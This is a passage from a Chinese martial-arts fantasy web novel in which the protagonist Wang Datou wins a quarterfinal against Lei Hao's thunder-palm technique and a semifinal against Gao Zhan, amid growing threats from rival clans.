雷昊也从对面通道走出。他换上了一身崭新的深蓝色雷纹练功服,头发一丝不苟,眼神锐利,行走间龙行虎步,气势逼人。
两人在擂台上相对而立。
裁判是个六十多岁、气息渊深的老者,他看了两人一眼,沉声道:“八强赛规则,无时间限制,一方认输、倒地十秒不起、或跌出擂台判负。禁用致命招式,听明白了吗?”
“明白。”两人同时道。
“开始!”
裁判话音未落,雷昊动了!
如南宫明月所说,他的速度快得惊人!
一步踏出,整个人如一道蓝色闪电,瞬间跨越十米距离,一掌拍向王大头面门!
掌未至,掌风已如雷鸣!
王大头早有准备,《游龙步》全力施展,身形向后飘退,同时右手并指如刀,切向对方手腕。
雷昊冷笑,掌势不变,只是手腕微翻,***纹隐隐发光!
“轰!”
拳掌相交,发出一声闷雷般的炸响!
王大头只觉得一股霸道炽烈的劲力传来,手掌瞬间麻痹!更有一股奇异的电流顺着手臂经脉窜入,试图麻痹他的神经!
果然是雷电之气!
他立刻运转内力,螺旋劲力迸发,将那股电流震散,同时借力后退,卸去掌力。
但雷昊得势不饶人,脚步连踏,奔雷步全力施展,整个人如附骨之疽紧追不舍,双掌连环拍出,掌影重重,雷鸣阵阵!
“惊雷掌·雷暴连环!”
掌风呼啸,雷鸣滚滚!整个擂台仿佛笼罩在雷暴之中!
王大头将《游龙步》催到极致,在掌影中穿梭闪避。
他能感觉到,雷昊的掌力不仅刚猛霸道,更蕴含着一种震慑心神的雷鸣之意,若心神稍弱,恐怕未战先怯。
这就是古武世家真传的威力!
二十招过去,王大头完全处于守势,几次险象环生。
雷昊的掌法太快太猛,根本不给他喘息之机。
“哈哈!王大头!你就这点本事?”
雷昊大笑,攻势更猛,“什么科学武道,不过是花架子!”
他一掌拍向王大头胸口,掌心中雷纹闪烁,电流噼啪作响!
王大头眼神一凝,不再闪避,深吸一口气,体内内力按照新领悟的化劲法门运转,右拳紧握,一拳轰出!
这一拳,朴实无华,却将螺旋劲力、内力震荡、以及刚刚领悟的一丝“意”融合在一起!
拳掌再次相撞!
“砰!!!”
这一次的响声,比之前任何一次都要巨大!气浪炸开,擂台地面龟裂!
雷昊脸色微变,连退三步,掌心传来刺痛——对方的拳劲,竟穿透了他的雷电护体!
王大头也退了两步,拳头皮肤焦黑,有电流缠绕,但眼神却更加明亮。
他感觉到了!
刚才那一拳,他触摸到了化劲的真正门道——将内力与精神、意志融合,打出“有意之拳”!
“有意思。”
雷昊甩了甩手,眼中终于露出认真之色,“看来你确实有点东西。不过……到此为止了!”
他双手缓缓抬起,在胸前结出一个奇特的手印。
随着手印结成,他周身气息陡然暴涨!深蓝色练功服无风自动,头发根根竖起,双眼中有电光闪烁!
“惊雷掌第七重·天雷引!”
“轰隆——!”
明明是室内,却仿佛有真正的雷鸣在体育馆中回荡!
雷昊双掌之间,竟有细小的电蛇跳跃游走!
全场惊呼!
“雷电外显!这是惊雷掌大成的标志!”
“雷昊竟然练到这个地步了!他才二十四岁啊!”
“王大头危险了!”
雷昊双掌缓缓推出,掌心电蛇汇聚成一道粗大的电流,带着毁灭般的气息,轰向王大头!
这一掌,避无可避!
王大头瞳孔收缩,全身汗**倒竖!他能感觉到这一掌的恐怖,若是硬接,不死也残!
电光石火间,他脑海中闪过无数念头。
闪避?来不及!电流速度太快!
硬接?接不住!雷电之威,非人力可抗!
怎么办?!
就在这生死关头,昨晚突破时的那种玄妙状态,忽然再次降临!
时间仿佛变慢了。
他能看到电流一寸寸推进,能看到雷昊脸上狰狞的笑容,能看到观众席上张猛等人惊恐的表情,能看到南宫明月握紧了剑柄……
同时,他也“看”到了电流的运行轨迹,看到了雷昊这一掌的力量核心,看到了那细微的破绽——
雷电之气虽然霸道,但需要内力维持。
雷昊将大部分内力用于凝聚雷电,自身的防御反而出现了短暂的空虚!
而且,电流是直线攻击,只要不在直线上……
王大头动了!
他没有后退,没有闪避,而是……向前!
在电流即将及体的瞬间,他脚下步伐诡异地一扭,整个人如游龙摆尾,以毫厘之差与电流擦身而过!
电流擦过他的左肩,衣服瞬间焦黑,皮肤传来灼痛,但他浑然不顾!
与此同时,他右拳紧握,将全部内力、全部精神、全部意志,凝聚于一拳之中!
这一拳,不再有复杂的计算,不再有精妙的技巧。
只有最纯粹的——意!
破!
一拳轰出,直取雷昊胸口!
雷昊脸色大变!
他没想到王大头竟然能避开天雷引,
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更没想到对方在避开的同时还能反击!
他急忙撤掌回防,但已经晚了!
“噗!”
拳头结结实实轰在雷昊胸口!
没有巨响,只有一声沉闷的穿透声。
雷昊整个人僵在原地,双眼圆睁,满脸不可置信。
他能感觉到,一股奇异的气劲穿透了他的护体内力,直透脏腑!
“噗——”
他喷出一口鲜血,鲜血中隐隐有电光闪烁。
整个人踉跄后退,一直退到擂台边缘,才勉强站住,脸色苍白如纸。
王大头站在原地,左肩焦黑一片,有鲜血渗出,但眼神清澈,气息虽然紊乱,却依旧稳固。
全场死寂。
几秒后,裁判才反应过来,开始读秒:“十、九、八……”
雷昊想动,但脏腑剧痛,根本提不起力气。
他死死盯着王大头,眼中充满了怨毒和不甘。
“……三、二、一!比赛结束!胜者,龙门王大头!”
“哗——!!!”
全场爆发出震天的惊呼和掌声!
逆转!绝对的逆转!
在雷昊使出惊雷掌绝招“天雷引”的情况下,王大头竟然能避开并反击,一拳定胜负!
“龙门!龙门!龙门!”有观众开始高呼。
张猛等人冲上擂台,围住王大头。
“大头!你没事吧?”
李雅急切地问。
王大头摇摇头,看向雷昊。雷家子弟已经冲上擂台扶住雷昊,雷昊死死盯着王大头,嘴唇动了动,却没说出话。
“承让。”
王大头抱拳。
雷昊脸色更加难看,猛地又喷出一口血,昏了过去。
“昊哥!”雷家子弟惊呼。
裁判示意医务组赶紧上来。
王大头在队友搀扶下走下擂台。
他能感觉到,左肩的伤势不轻,雷电之气侵入经脉,需要时间化解。
但更重要的是,刚才那一拳耗尽了他的心力,此刻精神极度疲惫。
但值得。
这一战,他不仅赢了,更验证了自己对化劲的领悟。
回到休息区,白子羽立刻过来为他检查伤势。
“雷电灼伤,经脉受损,但不严重。”
白子羽松了口气,“你的内力很特别,似乎对雷电之气有克制作用。我开几服药,调养几天就好。”
“多谢白公子。”
正说着,一个穿着深蓝色长袍、面容威严的中年男子走了过来。
他约莫五十多岁,气息渊深如海,行走间隐约有雷鸣相随。
雷家长老,**山!
他走到王大头面前,目光如电,上下打量。
张猛等人立刻警惕起来。
**山看了片刻,忽然抱拳:“王会长,这一战是昊儿技不如人,我雷家认了。”
语气平静,听不出喜怒。
王大头抱拳回礼:“雷长老客气,侥幸而已。”
“武道之争,没有侥幸。”
**山摇头,“你能破昊儿的天雷引,是你本事。不过……”
他顿了顿,眼神深处闪过一丝阴冷:“昊儿年轻气盛,此次受伤,怕是要养上几个月。这笔账,我雷家记下了。来日方长。”
说完,转身离开。
赤裸裸的威胁!
张猛怒道:“什么意思?输不起?”
白子羽低声道:“雷家最重面子。雷昊是这一代的领军人物,被你当众击败,雷家肯定不会善罢甘休。王会长,以后要小心了。”
王大头点点头,没说话。
他早就料到会有这一天。
既然选择了这条路,就不怕树敌。
正想着,南宫明月走了过来,将一瓶药膏递给他:“外敷,治雷电灼伤。”
“多谢。”王大头接过。
南宫明月看了他一眼,忽然道:“你刚才那一拳……有点意思。”
“侥幸领悟。”
“不是侥幸。”
南宫明月摇头,“是水到渠成。你突破化劲了?”
“算是摸到门槛了。”
南宫明月点点头:“难怪。不过化劲只是开始,后面的路还长。”
她顿了顿,压低声音:“刚才**山离开时,我注意到他袖子里的手在微微颤抖——不是生气,是兴奋。他在你身上看到了什么让他兴奋的东西。”
王大头心中一凛。
南宫明月不再多说,转身离开。
休息室里,王大头一边敷药,一边回想着刚才那一战。
雷昊的惊雷掌确实厉害,若非他临阵突破,领悟了一丝化劲真意,根本不可能赢。
但更让他在意的,是南宫明月的话。
**山在兴奋什么?
他在自己身上看到了什么?
正思索间,广播响起第二场比赛的通知。
林惊羽对释延明。
比赛即将开始。
但王大头的心思,已经飘到了更远的地方。
第113章:余波未平
王大头击败雷昊的消息,如野火般在基地里蔓延。
不到半小时,几乎所有人都知道了。
那个来自滨海、名不见经传的龙门会长,在八强赛中正面击败了雷家年轻一代的领军人物,而且是破掉了惊雷掌第七重的“天雷引”!
一时间,龙门成了所有人热议的焦点。
食堂、训练场、宿舍楼,但凡有选手**的地方,话题都离不开这一战。
“你们看到了吗?王大头最后那一拳,简直神了!”
“雷昊的天雷引啊!那可是真正的雷电之气!竟然被躲过去了!”
“据说王大头也受伤了,左肩被雷电灼伤,衣服都烧焦了。”
“那又如何?赢了就是赢了!雷昊当场吐血昏迷,被抬下去的!”
“龙门这下真的一战成名了……”
“不过雷家不会善罢甘休吧?**山那眼神,看着都吓人……”
此刻,龙门所在的小楼却异常安静。
客厅里,王大头赤着上身坐在椅子上,左肩到胸口的位置焦黑一片,皮肤上还有细密的电灼伤痕。
白子羽正小心翼翼地给他上药,药膏涂抹在伤口上,发出“滋滋”的轻微声响。
“忍着点。”
白子羽低声道,“雷电之气伤的不只是皮肉,还有经脉。这‘玉髓膏’是我白家秘制,专治内伤火毒,但对雷电灼伤效果稍差,只能缓解。”
药膏清凉,缓解了伤处的灼痛。
王大头闭目调息,内力在左肩经脉处缓慢运转,一点点驱逐残留的雷电之气。
张猛坐在对面沙发上,右臂缠着绷带——那是昨天训练时不小心拉伤的。
他瞪着铜铃大的眼睛,兴奋道:“大头,你最后那一拳太牛了!雷昊那小子当时脸都白了!哈哈哈,痛快!”
周倩端着温水走过来,轻声道:“王老师,喝水。”
王大头睁开眼,接过水杯:“谢谢。”
吴刚坐在角落,手里拿着个小本子,正在记录什么。
见王大头看过来,他抬头道:“王老师,我刚才复盘了你和雷昊的战斗。雷昊的奔雷步速度确实快,但他的转向半径比较大,尤其是在高速移动时,向左转比向右转慢了零点一秒左右。这可能是个可以利用的弱点。”
孙浩凑过去看本子,惊叹道:“刚子,你这都计算出来了?”
“观察加推算。”吴刚认真道,“王老师教过,任何武功都有规律可循。”
南宫明月站在窗边,背对着众人,望着窗外。她忽然开口:“雷昊的惊雷掌,还有第八重。”
客厅里顿时安静下来。
张猛皱眉:“第八重?第七重已经这么厉害了,还有第八重?”
“惊雷掌共九重,是雷家镇族绝学。”
南宫明月转过身,语气平淡,“第七重‘天雷引’,是内外兼修,引动体内雷气外显。第八重‘雷霆万钧’,据说能将雷电之气凝聚成形,威力倍增。不过雷昊还没练成,否则你今天赢不了。”
王大头点头:“我也感觉到了,他的雷电之气还不够凝练,散而不聚。若是再精纯一倍,我未必能避开。”
“雷家这一代,真正练成第八重的,可能只有一个人。”南宫明月顿了顿,“雷动。”
“雷动?”
“雷昊的堂哥,雷家真正的第一天才。”
南宫明月道,“今年二十七岁,五年前就已突破化劲,一直在雷家祖地闭关,据说是在冲击惊雷掌第九重‘雷霆灭世’。”
张猛倒吸一口凉气:“二十七岁的化劲?还冲击第九重?这他妈还是人吗?”
“古武世家的底蕴,远超常人想象。”
白子羽接话道,他已经给王大头上完药,正在收拾药箱,“雷家传承三百余年,出过七位化劲宗师,两位半步先天。雷动若是真能练成第九重,恐怕四十岁前就有望冲击先天之境。”
先天!
这个词让客厅里的年轻人们心头一震。
化劲之上,是为先天。
那是真正超凡脱俗的境界,据说到了那个层次,内力转化为真气,可延年益寿,甚至能施展一些不可思议的手段。
但近五十年来,武道界明面上还没有出现过新的先天强者。
“先天……”
王大头喃喃自语,眼中闪过一丝向往,但随即又恢复清明,“路要一步步走。我现在连化劲都只是初窥门径,想那么远没用。”
“说得对。”
白子羽赞许地看了他一眼,“武道最忌好高骛远。王会长你现在要做的,是巩固境界,养好伤势。下午还有四强战,你的对手可能是林惊羽或释延明,都不好对付。”
正说着,敲门声响起。
李雅去开门,门外站着两个穿着协会制服的工作人员。
“王会长在吗?”
为首的中年人礼貌地问,“协会医疗组想给他做个全面检查,确保伤势不影响后续比赛。”
王大头起身:“我在。”
“请跟我们来,检查室在三号楼。”
王大头跟着两人离开。
张猛想跟着去,被李雅拦住了:“协会的检查,外人不能进。放心吧,应该只是例行公事。”
一个小时后,王大头回来了,脸色有些古怪。
“怎么了?”李雅关切地问。
“检查结果……有点奇怪。”
王大头坐下,“医疗组说我的伤势恢复速度比常人快三倍以上,尤其是经脉的损伤,几乎已经自愈了七成。他们问我是不是用了什么特殊药物或者**。”
众人面面相觑。
白子羽若有所思:“是你的内力特性?我昨天就感觉到了,你的内力很特别,似乎有很强的自愈能力。”
王大头想了想,道:“可能跟我修炼的《星辰观想法》有关。这门观想法不仅能提升精神力,似乎还能潜移默化地改善体质。”
《星辰观想法》是系统奖励的**,他一直没完全搞懂其全部功效。
现在看来,这**的价值可能远超他的想象。
“这是好事。”南宫明月忽然道,“但别让太多人知道。怀璧其罪。”
这话让众人心中一凛。
确实,如果让人知道王大头有能加速伤势恢复的**,恐怕会引来更多觊觎。
“我明白。”王大头点头,“我会注意。”
下午两点,四强战抽签仪式开始。
由于王大头上午已经晋级,剩下的三场比赛将在下午进行,胜者与他一同进入四强。
第一场,林惊羽对释延明。
这场道门剑法与佛门硬功的对决,吸引了所有人的目光。
擂台上,林惊羽长剑如龙,剑气纵横;释延明金刚不坏体护身,拳掌刚猛。
两人激战百余招,最终林惊羽以一招“青城飞仙”破开释延明的防御,剑尖点在其喉前三寸处,取胜晋级。
第二场,高战对唐影。
天骄预备营的高战展现出了令人震惊的实战能力。
他完全抛弃传统武术的套路,用的是最简洁、最狠辣的军用格杀术,配合强大的身体素质,竟然硬抗唐影的暗器近身,三招将其击败。
唐影最后是被抬下擂台的,肋骨断了三根。
第三场,白子羽对无痕。
这场比赛最为诡异。
散修无痕的身法如同鬼魅,忽隐忽现,攻击刁钻狠辣。
白子羽则以白家祖传的“流云步”和“柔水掌”应对,以柔克刚。
两人斗了五十余招,最终白子羽以一招精妙的擒拿锁住无痕手腕,逼其认输。
至此,四强全部产生:王大头、林惊羽、高战、白子羽。
抽签决定半决赛对阵。
大屏幕滚动,结果出炉:
王大头VS高战
林惊羽VS白子羽
半决赛将在明天上午进行。
看到这个结果,高战在台下咧嘴笑了,朝王大头做了个抹脖子的手势。
张猛骂道:“嚣张什么!大头,明天揍他丫的!”
王大头却看向白子羽。白子羽对他微微一笑,眼神中带着鼓励,也有一丝担忧。
高战的实力,确实很强。那种完全为实战而生的打法,与传统武术截然不同,非常难对付。
傍晚,食堂里的气氛更加微妙。
王大头等人走进食堂时,明显感觉到许多目光聚焦过来,有钦佩,有好奇,也有敌意。
雷家那一桌空着——雷昊还在医疗室,雷家人应该都在那边。
但沈家的人来了。
沈坤坐在靠窗的位置,身边除了之前的阴柔青年,还多了几个气息更加强悍的年轻人。
看到龙门众人,沈坤眼中闪过怨毒,但没说什么,只是低头吃饭。
天骄预备营的人坐在食堂中间,声音最大。高战正大声说笑:“明天那个王大头,我今天仔细观察了。他的步法确实不错,但也就那样。我们预备营的训练,每天二十公里负重跑,他那点速度,不够看!”
他旁边一个剃着光头、脸上有刀疤的青年附和道:“高哥说得对!什么科学武道,花里胡哨!真正的战斗,就是要快!准!狠!明天高哥三招解决他!”
这话声音很大,显然是故意说给龙门听的。
张猛又要发作,被周倩拉住了
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:“猛哥,别理他们。”
王大头神色如常,取了餐,找了个远离天骄预备营的位置坐下。
刚坐下不久,一个穿着灰色僧袍的年轻僧人端着餐盘走了过来,正是上午败给林惊羽的释延明。
“王施主,方便拼个桌吗?”释延明合十行礼。
“大师请坐。”
王大头对这位金刚寺的武僧印象不错,上午那场比赛,释延明虽然输了,但输得光明磊落,很有武者风范。
释延明坐下,看了王大头一眼,低声道:“王施主今日与雷昊一战,贫僧看了。施主的拳法,已得‘意’之精髓,佩服。”
“大师过奖。”
王大头道,“大师的金刚不坏体才是真正厉害,若非林惊羽剑法超绝,恐怕很难破开。”
释延明摇头:“林施主的剑,确实厉害。但贫僧观王施主今日之拳,似乎……与昨日又有不同。”
王大头心中一动。这释延明眼力好毒!
“略有领悟而已。”他含糊道。
释延明也不深究,话锋一转:“王施主明日对高战,需小心。此人武功路数,与寻常武者不同。”
“哦?大师了解他?”
“上午他与唐影一战,贫僧仔细看了。”
释延明缓缓道,“他的招式,完全为实战而设计,没有任何多余动作。而且……他似乎练过某种强化身体的秘法,骨骼密度、肌肉强度都远超常人。唐影的暗器打在他身上,只能留下白印。”
王大头神色凝重起来。这个情报很重要。
“另外,”
释延明压低声音,“他战斗时,眼神中有一种……非人的冷漠。那不是武者应有的眼神,更像是……杀戮机器。”
杀戮机器?
王大头回想起高战在擂台上的表现,确实,他出手狠辣无情,完全不顾对手死活。唐影的肋骨,就是他故意打断的。
“多谢大师提醒。”王大头郑重道。
“阿弥陀佛。”
释延明合十,“王施主是有大智慧之人,当知如何应对。贫僧只是不忍见武道天才折损于阴狠手段之下。”
两人又聊了几句,释延明便告辞离开。
吃过晚饭,回到小楼。
王大头将释延明的话告诉了众人。
张猛骂道:“杀戮机器?我看他就是个疯子!”
周倩担忧道:“王老师,如果高战真的练过强化身体的秘法,那你的拳脚攻击可能效果不大。要不要想些别的办法?”
吴刚翻着小本子:“根据今天高战的比赛数据,他的平均反应速度是零点一五秒,最大拳力估计在八百公斤以上,抗击打能力……至少是常人的五倍。常规战术确实很难奏效。”
南宫明月忽然开口:“身体强化,必有弱点。”
众人看向她。
“任何秘法,都不可能完美。”
南宫明月淡淡道,“强化骨骼,则关节可能脆弱;强化肌肉,则肌腱可能负担过重;强化反应,则精神可能透支。找到那个平衡点,一击即破。”
白子羽点头:“明月姑娘说得有理。而且,高战用的是军用格杀术,这种功夫讲究一击必杀,但持续性不强。如果能拖入持久战,他的优势会逐渐减弱。”
王大头听着众人的分析,心中渐渐有了思路。
高战很强,但不是无敌。
他有自己的优势和弱点。
明天的比赛,关键就在于如何扬长避短。
夜深了,众人各自回房休息。
王大头坐在床上,没有练功,而是将今天与雷昊的战斗在脑海中回放。
那一拳,那种将精神、意志、内力完全融合的感觉……
他伸出手,掌心向上,心念一动。
“嗡——”
一股无形的气劲在掌心流转,虽然微弱,却如臂使指。
这就是化劲。
虽然只是初窥门径,但已经打开了一扇新的大门。
他闭上眼睛,《星辰观想法》自然运转。
这一次,观想的不再是星辰轨迹,而是星辰本身。
那颗在意识深处缓缓旋转的虚幻星辰,散发着温暖的光芒,滋养着他的精神,修复着他的伤势。
左肩的灼痛感,正在一点点消退。
经脉中,内力奔涌的速度越来越快,越来越顺畅。
不知过了多久,王大头忽然睁开眼睛。
他感觉到,小楼外有人。
气息很隐蔽,但《星辰观想法》带来的敏锐感知,还是捕捉到了那一丝异样。
他悄无声息地起身,走到窗边,掀开窗帘一角。
月光下,小楼外的树影中,站着一个人。
第114章:抽签风波
黑衣,蒙面,身形瘦削。
那人正抬头看着小楼,目光似乎落在了王大头的窗户上。
两人隔着玻璃和夜色,对视了一眼。
蒙面人似乎愣了一下,随即身形一晃,如鬼魅般消失在树影中。
王大头没有追。
他站在窗边,眉头紧皱。
是谁?
雷家的人?沈家的人?还是……暗影?
来者不善。
看来,这个夜晚,并不平静。
他回到床上,盘膝坐下,却没有再修炼。
而是静静等待着。
等待可能到来的下一波风雨。
窗外,月已中天。
基地里,万籁俱寂。
但暗流,从未停歇。
第二天清晨,天刚蒙蒙亮,基地里已经热闹起来。
半决赛,这是决定谁能进入最终决赛的关键一战。
胜者,将有机会角逐全国新秀赛个人赛的最高荣誉;败者,则只能争夺三四名。
对许多年轻武者来说,能走到四强,已经足以自豪。
但既然走到了这一步,谁不想再进一步?
龙门小楼里,众人早早起床。
王大头在训练室活动身体。
左肩的伤势经过一夜调息,已经好了七八成,焦黑的皮肤开始脱落,露出下面新生的嫩肉。
内力运转也基本无碍,状态恢复到九成左右。
张猛一边吃早餐一边嘀咕:“那个高战,今天最好别让我在团队赛碰到他,不然非揍他不可!”
周倩整理着比赛资料,轻声道:“猛哥,团队赛还有好几天呢。今天先看王老师的比赛。”
吴刚在客厅里打一套慢拳,这是王大头教他的调理内息的**。
孙浩则趴在地图上研究基地地形,嘴里念念有词:“如果团队赛有地形战,这里、这里、这里都是适合埋伏的点……”
南宫明月抱着剑坐在窗边,闭目养神。她似乎永远都是这样,安静,神秘,与周围的一切保持着距离,却又在关键时刻出手。
李雅从外面回来,手里拿着一份文件:“刚拿到的,团队赛详细规则和小组赛赛程。”
众人立刻围了过来。
李雅摊开文件:“团队赛五人制,每场比赛三局两胜。第一局是‘擂台战’,双方各派一人单挑;第二局是‘夺旗战’,在模拟地形中争夺对方旗帜;第三局是‘混战’,五人全上,直到一方全部失去战斗力或认输。”
“有意思!”
张猛眼睛一亮,“夺旗和混战,这可比单纯打擂台刺激多了!”
“小组赛是循环赛,每个队伍都要和同组其他队伍打一遍。”
李雅继续道,“我们E组的对手已经确定了:金刚寺、鹤形门、天骄预备营。另外还有一支队伍待定,要等今天下午的附加赛结果。”
“金刚寺……就是释延明那个队伍?”周倩问。
“对。金刚寺这次来了五个武僧,释延明是队长,实力都不弱。”
“鹤形门呢?”
“鹤形门是南方传统门派,以轻功和点穴手法闻名。他们的队长是昨天张猛打败的那个女弟子的师姐,叫柳轻眉,据说已经将‘鹤形点穴手’练到化境,能隔空点穴。”
“隔空点穴?”
孙浩咋舌,“那怎么防?”
“用内力护体,或者提前闪避。”
王大头道,“隔空点穴消耗很大,不可能连续使用。”
“最麻烦的是天骄预备营。”
李雅脸色凝重,“他们这次来了两个队,一队和二队。我们抽到的是二队,但高战就是一队的队长。不过根据规则,高战作为个人赛四强选手,不能参加团队赛小组赛,只能等淘汰赛阶段。”
张猛松了口气:“那还好。要是高战也在,那就真麻烦了。”
“别高兴太早。”
南宫明月忽然开口,“天骄预备营二队的队长叫赵虎,是高战的副手,实力可能不弱于高战多少。而且他们的训练方式完全为实战服务,团队配合恐怕比我们默契得多。”
众人都沉默了。
确实,龙门成立时间短,队员之间虽然关系不错,但真正的团队配合训练并不多。
之前的集训主要是个人能力和战术意识,团队实战演练只有寥寥几次。
“时间还有。”王大头打破沉默,“团队赛一周后才开始,我们还有时间磨合。”
正说着,敲门声响起。
开门,是白子羽。
他脸色有些凝重:“王会长,有件事你们得知道。”
“请进。”
白子羽走进来,低声道:“我刚刚得到消息,雷昊的伤势……比预想的严重。”
“哦?”
“雷电之气反噬。”
白子羽道,“你昨天破掉他的天雷引,导致他内力紊乱,雷电之气倒灌经脉,伤了根基。雷家连夜请了京城最好的内伤专家,但情况不乐观,至少需要休养一年,而且……可能影响以后的武道进境。”
客厅里一片安静。
王大头眉头紧皱。他没想到会这么严重。
“雷家现在什么反应?”李雅问。
“表面上很平静。”
白子羽道,“**山对外说,擂台比武,受伤难免,雷家输得起。但私下里……”他顿了顿,“我的人看到,昨晚**山和沈万钧在基地外的茶楼密谈了整整两个小时。”
沈万钧,沈坤的父亲,沈家现任家主。
这两个人凑在一起,绝不会是喝茶聊天那么简单。
“另外,”
白子羽继续道,“我还打听到,雷家这次来参赛,除了雷昊,还来了一个年轻人,叫雷烈,是雷昊的堂弟,今年十九岁,暗劲中期。据说天赋不输雷昊,只是年纪小,还没成长起来。**山昨晚把雷烈叫去谈了话,今天雷烈一大早就去了训练场,练得很凶。”
“这是在培养**人?”张猛道。
“更可能是想找机会报复。”
白子羽摇头,“雷烈年纪小,冲动,容易被人当枪使。王会长,你们要小心,尤其团队赛,如果遇到雷家相关的队伍,他们可能会下黑手。”
王大头点点头:“多谢白公子提醒。”
“另外,今天下午团队赛附加赛结束后,所有队伍领队要开个会,讨论小组赛的具体安排。”白子羽道,“王会长你记得参加。”
送走白子羽,众人心情都有些沉重。
原本以为击败雷昊就能暂时解决麻烦,现在看来,反而惹来了更大的麻烦。
“兵来将挡。”王大头站起身,“现在想这些没用。准备一下,该去体育馆了。”
上午九点,半决赛正式开始。
第一场,王大头对高战。
当两人登上擂台时,全场爆发出热烈的欢呼和掌声。
一方是本届比赛最大黑马,刚刚击败雷家天才;另一方是天骄预备营的佼佼者,以狠辣无情著称。这场对决,看点十足。
裁判依旧是那位老者,他看了两人一眼,沉声道:“规则照旧,开始!”
话音刚落,高战动了!
如释延明所说,他的速度快得惊人!
一步踏出,整个人如炮弹般射向王大头,右拳直轰面门,没有任何花哨,就是最简单、最直接的冲拳!
但这一拳,力量之大,速度之快,让空气都发出爆鸣!
王大头早有准备,《游龙步》施展,侧身闪避,同时右手并指如刀,切向高战手腕内侧。
高战不闪不避,手腕一翻,竟用拳背硬接这一击!
“砰!”
王大头只觉得手指如同切在铁板上,震得生疼!而高战的拳势只是微微一顿,随即变拳为爪,扣向王大头咽喉!
狠!准!快!
王大头脚下连踩,身形急退,险险避开这一爪。爪风擦过咽喉,皮肤传来刺痛。
好强的爪力!若是被抓实,喉骨恐怕都会碎裂!
高战咧嘴一笑,露出森白的牙齿:“就这点本事?昨天打雷昊的威风呢?”
他不给王大头喘息之机,再次扑上,双拳如**般轰出!每一拳都势大力沉,每一拳都直奔要害!
王大头将《游龙步》催到极致,在拳影中穿梭闪避。
他能感觉到,高战的拳法虽然简单,但每一拳的角度、力道、速度都经过千锤百炼,几乎没有破绽。
而且,他的身体素质确实恐怖。
王大头几次试探性攻击打在他身上,都如中败革,反震之力反而让自己手臂发麻。
“看到了吗?这就是科学训练的结果!”高战一边猛攻一边大笑,“什么传统武术,什么内力,在绝对的力量和速度面前,都是垃圾!”
他忽然变招,一记低扫腿踢向王大头膝盖!
王大头跃起避开,但高战似乎早有所料,另一条腿如鞭子般抽向空中!
这是连环腿!
避无可避!
王大头眼神一凝,人在空中,无法借力,但他心念电转,体内内力急速运转,双掌向下拍出!
“轰!”
掌腿相撞,王大头借力向后翻腾,落地时踉跄两步,气血翻涌。
高战也退了一步,脸上露出惊
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讶之色:“哟?有点意思。能硬接我这一腿的人不多。”
他扭了扭脖子,发出“咔咔”的声响:“热身结束,该动真格的了。”
话音未落,他整个人气势陡然一变!
原本就凌厉的气势,此刻更加狂暴!双眼泛起血丝,肌肉贲张,青筋暴起,整个人如同苏醒的凶兽!
“基因锁,一阶,开!”
低吼声中,高战的速度和力量再次暴涨!一步踏出,擂台地面龟裂!拳风呼啸,如同风暴!
全场惊呼!
“基因锁?那是什么?”
“天骄预备营的秘密技术?”
“这速度……比刚才快了一倍不止!”
王大头瞳孔收缩!他能感觉到,此刻的高战,已经超越了暗劲巅峰的层次,触摸到了化劲的边缘!
不,不是触摸,是强行用某种方法,暂时达到了那个层次!
“死!”
高战一拳轰来,拳未至,拳风已经压得王大头呼吸困难!
避不开!
只能硬接!
王大头深吸一口气,将《星辰观想法》运转到极致,精神高度集中!体内内力按照化劲法门疯狂运转,全部凝聚于右拳!
这一拳,不再是简单的螺旋劲力。
而是融合了他对武道的理解,对力量的掌控,对“意”的领悟!
拳名未定,心意已决。
破!
双拳相撞!
“轰隆——!!!”
巨响如雷鸣!整个擂台剧烈震动!能量屏障泛起涟漪,几乎要破碎!
气浪炸开,烟尘弥漫!
所有人都屏住呼吸,死死盯着擂台。
烟尘渐渐散去。
两人站在原地,双拳相抵,一动不动。
几秒后,高战脸上露出难以置信的神色,嘴角溢出一缕鲜血。
他张了张嘴,想说什么,但没说出来,整个人向后仰倒,“砰”地摔在擂台上,昏死过去。
王大头站在原地,右拳皮肤破裂,鲜血淋漓,整条手臂都在颤抖。
但他站住了。
赢了。
全场死寂。
随即,爆发出震天的欢呼!
“王大头!王大头!王大头!”
呼喊声如山呼海啸!
裁判上前检查高战的情况,确认昏迷后,开始读秒。
十秒后,宣布王大头获胜,晋级决赛!
龙门众人冲上擂台,围住王大头。
“大头!你没事吧?”李雅急切地问。
王大头摇摇头,看向被医务组抬走的高战,心中却没有胜利的喜悦。
刚才那一拳,他感觉到了。
高战的体内,有一种非人的力量。
那不是内力,也不是雷电之气。
而是一种更加狂暴、更加原始的力量。
基因锁……那到底是什么?
“王会长。”裁判走过来,眼神复杂地看着他,“你没事吧?”
“我没事。”王大头道。
“那就好。”裁判顿了顿,低声道,“高战用了禁忌手段,协会会调查的。你……小心天骄预备营的人。”
王大头点头:“多谢提醒。”
他走下擂台,在众人的簇拥下回到休息区。
接下来是第二场半决赛,林惊羽对白子羽。
但王大头已经没心思看了。
他坐在椅子上,闭目调息,脑海中回想着刚才那一拳的感觉。
那一拳,他突破了自己的极限。
但也感觉到了自己的不足。
如果高战再强一点,如果他的基因锁能开得更久……
“王会长。”
一个温和的声音响起。
王大头睁开眼,是白子羽。他已经换好了衣服,准备上场了。
“白公子。”
“恭喜晋级。”白子羽微笑,“我刚才看到了,很精彩的一战。”
“白公子也要加油。”
“我会的。”白子羽顿了顿,低声道,“小心雷烈。我刚才看到,他在观众席看着你,眼神不太对。”
说完,他转身上场了。
王大头抬起头,看向观众席。
在雷家区域,一个穿着深蓝色练功服的少年正盯着他,眼神阴冷如毒蛇。
雷烈。
雷昊的堂弟。
看来,雷家的报复,不会等太久了。
王大头闭上眼睛,继续调息。
无论来的是谁,无论有多少敌人。
他都会一一接下。
因为这就是他选择的路。
窗外的阳光透过玻璃照进来,落在他的脸上。
温暖,明亮。
但前路,依旧荆棘密布。
第115章:暗夜交锋
半决赛结束后的下午,基地的气氛变得微妙而压抑。
王大头战胜高战的消息,比昨天击败雷昊引起的震动更大。
毕竟高战代表的是新兴的“科学训练体系”,而王大头则自称是“科学武道”,两种不同理念的碰撞,最终以传统武道结合科学分析的方式获胜,这让许多原本对龙门不屑一顾的人,不得不重新审视这个突然崛起的团体。
但与此同时,暗流也更加汹涌。
天骄预备营的人没有像雷家那样公开表达不满,但从他们阴沉的脸色和偶尔投来的冰冷目光中,谁都能感受到那股压抑的怒火。
高战被送往基地医疗中心,初步诊断是内脏震伤、多处骨折,至少需要休养三个月。
雷家那边,雷烈在观众席上露了一面后就消失了,有人说看到他独自在后山训练场疯狂练功,把十几根碗口粗的木桩全部打断。
